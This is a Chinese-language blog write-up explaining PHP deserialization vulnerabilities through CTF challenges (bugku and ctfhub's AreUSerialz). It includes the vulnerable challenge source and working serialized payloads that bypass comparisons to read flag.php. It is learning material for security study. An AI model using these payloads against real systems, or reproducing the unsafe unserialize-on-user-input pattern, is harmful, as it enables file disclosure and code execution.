关于php反序列化漏洞的一些总结

关于php反序列化漏洞的一些总结

八月 21, 2021

原理

序列化就是,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 –php官方文档

序列化代码执行效果

1
O:3:"Ctf":3{s:4:"flag";s:15:"flag{xiaofeiji}";s:4"name";s:9:"xiaofeiji";s:3:"age";s:2:"19";}

三个属性:flag name age

O表示对象,如果要序列化数组,则用A;

3 表示类名的长度

Ctf表示类名

3表示三个属性

s表示字符串

4表示属性的长度

flag属性的名字

s:15:”flag{xiaofeiji} 字符串 属性值长度 属性值

执行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class Ctf {

public $flag="flag{xiaofeiji}";

public $name="xiaofeiji";

public $age="19";

}

$a = new Ctf();

echo serialize($a);

?>

反序列化代码执行效果

将序列化化结果O:3:”Ctf”:3{s:4:”flag”;s:15:”flag{xiaofeiji}”;s:4”name”;s:9:”xiaofeiji”;s:3:”age”;s:2:”19”;}还原为对象:

危害

PHP反序列化的过程中,如果未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,则会导致代码

执行,SQL 注入,目录遍历等不可控后果。

反序列化分类

无类

本地测试情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

error_reporting(0);

include "flag.php";

$KEY = "xiaodi";

$str = $_GET['str'];

if (unserialize($str) === "$KEY")

{

echo "$flag";

}

show_source(__FILE__);

?>

通过传入xiaodi序列化后的字符串,使得反序列化后的结果等于xiaodi,从而输出flag.php的内容。

因此传入str=s:6:”xiaodi” 即可。

bugku -flag.php题目

  1. bugku上找不着题目了,找一张别人的图分析一下源码:

存在unserialize(),属于无类的反序列化,如果接收到的cookie值经过反序列化后的结果等于$KEY的话,就会输出flag。

  1. 这个题目有两个注意点:

if判断语句,如果刚开始给hint赋值的话,按照代码的执行顺序,则会跳过elseif判断我们的关键代码,因此不需要对hint传值;

按照代码的执行顺序,cookie与$KEY的判断在对key赋值之前就已经进行了输出,因此在判断的时候key的值其实为空,而非后面的参数值,因此cookie处传入的值应该为:s:0:””

有类

主要是涉及到一些魔术函数的用法:

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用 isset()或 empty()触发

__unset() //在不可访问的属性上使用 unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

__toString()//当一个类被当做字符串使用时或者存在echo等传统输出函数(自动把类当做字符串使用)时触发

1.构造函数和析构函数的使用:

__construct()创建对象时触发,$a=new ABC(),

__wakeup()在执行serialize()函数时触发;

__destruct()在对象被摧毁时触发。

https://www.cnblogs.com/kuboy/p/7747148.html(关于构造函数和析构函数的文章推荐)

一道ctfhub上的题目:AreUSerialz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

​ } else if($this->op == "2") {

$res = $this->read();

$this->output($res);

​ } else {

$this->output("Bad Hacker!");

​ }

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

​ }

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

​ } else {

$this->output("Failed!");

​ }

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

​ }

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

分析题目源码:首先关注到unserialize()函数,发现有类,属于有类的反序列化:

  1. process()方法中:如果op的值弱比较为1,则执行write方法;若op弱比较的值为2,则执行read方法。由于我们需要读取到flag.php文件,因此我们期望程序执行到read()方法。

  2. 在__destruct()方法中,如果op的强比较等于2的话,op就会被强制转换为1,并进入process()方法继续进行write()和read()的判断。

  3. 因此,可以总结出一个解题思路为:op需要一个弱比较等于2但是强比较不等于2的值,传入的op为2中,我们构造一个空格2,就能绕过强弱比较的两种判断。将最后读取的filename用flag.php覆盖即可。

因此开始构造序列化的值:

  • is_valid 函数还对序列化字符串进行了校验,因为一开始忽略了protected权限的变量在序列化时会有%00*%00字符,其中%00的ASCII码值为0,不在is_valid函数规定的32到125的范围内,导致无法输出结果。

  • 因为成员被 protected 修饰,因此序列化字符串中会出现 ascii 为 0 的字符。查看wp时发现,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后成员也会被 public 覆盖修饰。

  • 因此使用public代替protected即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//payload:

//O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";}

<?php

class FileHandler {

public $op=' 2';

public $filename='flag.php';

}

$file = new FileHandler;

echo serialize($file);

?>

题目思路不难,需要注意到条件判断,以及属性的序列化产生结果等问题。